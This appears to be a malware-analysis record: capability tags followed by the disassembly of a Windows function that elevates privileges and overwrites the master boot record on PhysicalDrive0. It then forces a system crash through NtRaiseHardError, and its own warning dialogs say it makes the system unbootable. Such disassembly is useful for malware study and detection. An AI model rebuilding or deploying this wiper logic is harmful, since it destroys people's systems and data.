Function at 0x4012a0
Capabilities:
Create process on windows
Create thread
Get token membership
Hide graphical window
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x268
mov eax, dword [0x417040]
xor eax, esp
mov dword [esp + 0x264], eax
push ebx
push esi
lea eax, [esp + 0x10]
mov dword [esp + 8], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [esp + 0x80]
mov dword [esp + 0x38], 0
push eax
mov dword [esp + 0x84], 0
mov word [esp + 0x88], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x401328
lea eax, [esp + 8]
push eax
push dword [esp + 0x14]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp dword [esp + 8], 0
jne 0x4013fb
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push 0x34
push str.Warning
push str.Hey_there__n_nThe_code_you_just_executed_is_malware__so_if_you_do_not_wish_to_proceed_executing_this_code__press_No_and_nothing_will_happen._nBut_if_you_insist__press_Yes._nPlease_make_sure_that_you_are_in_a_controlled_environment._n_a_VM_for_example_.
push 0
call esi
cmp eax, 7
je 0x401529
push 0x44
push str.Last_warning
push str.Are_you_really_sure__nThis_will_render_the_system_unbootable_
push 0
call esi
cmp eax, 7
je 0x401529
push 0x104
lea eax, [esp + 0x64]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x38
lea eax, [esp + 0x24]
mov dword [esp + 0x20], 0x3c
push 0
push eax
call fcn.00404120
add esp, 0xc
mov dword [esp + 0x28], str.runas
lea eax, [esp + 0x60]
mov dword [esp + 0x24], 0
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x38], 1
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x4013e3
push 0x10
push str.Error
push str.Failed_to_elevate_privileges.
push eax
call esi
mov ecx, dword [esp + 0x26c]
xor eax, eax
pop esi
pop ebx
xor ecx, esp
call fcn.00402433
mov esp, ebp
pop ebp
ret 0x10
push 4
call fcn.00402441
add esp, 4
lea ecx, [esp + 0x18]
mov dword [eax], section..text
push ecx
push 0
push eax
push 0x401550
push 0
push 0
call fcn.00405a70
add esp, 0x18
mov dword [esp + 0x14], eax
test eax, eax
je 0x40151a
cmp dword [esp + 0x18], 0
je 0x401530
call sub.KERNEL32.dll_GetCurrentThreadId
mov ecx, dword [esp + 0x18]
cmp ecx, eax
je 0x401537
push 0
push ecx
push dword [esp + 0x1c]
call fcn.004020c4
add esp, 0xc
test eax, eax
jne 0x40153e
push eax
push eax
push 3
push eax
push 3
push 0x40000000
xorps xmm0, xmm0
push str..PhysicalDrive0
movlpd qword [esp + 0x30], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4014bd
push 0x200
lea eax, [esp + 0x64]
push 0
push eax
call fcn.00404120
add esp, 0xc
lea eax, [esp + 8]
push 0
push eax
push 0x200
lea eax, [esp + 0x6c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.RtlAdjustPrivilege
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.NtRaiseHardError
push str.ntdll.dll
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
mov esi, eax
lea eax, [esp + 0xf]
push eax
push 0
push 1
push 0x13
call ebx
lea eax, [esp + 8]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call esi
cmp dword [esp + 0x18], 0
jne 0x401545
jmp 0x4013e3
push 6
mov dword [esp + 0x1c], 0
call fcn.00401e0d
push 0
call fcn.004058fe
push 1
call fcn.00401e0d
push 5
call fcn.00401e0d
push 2
call fcn.00401e0d
call fcn.00405b22
int3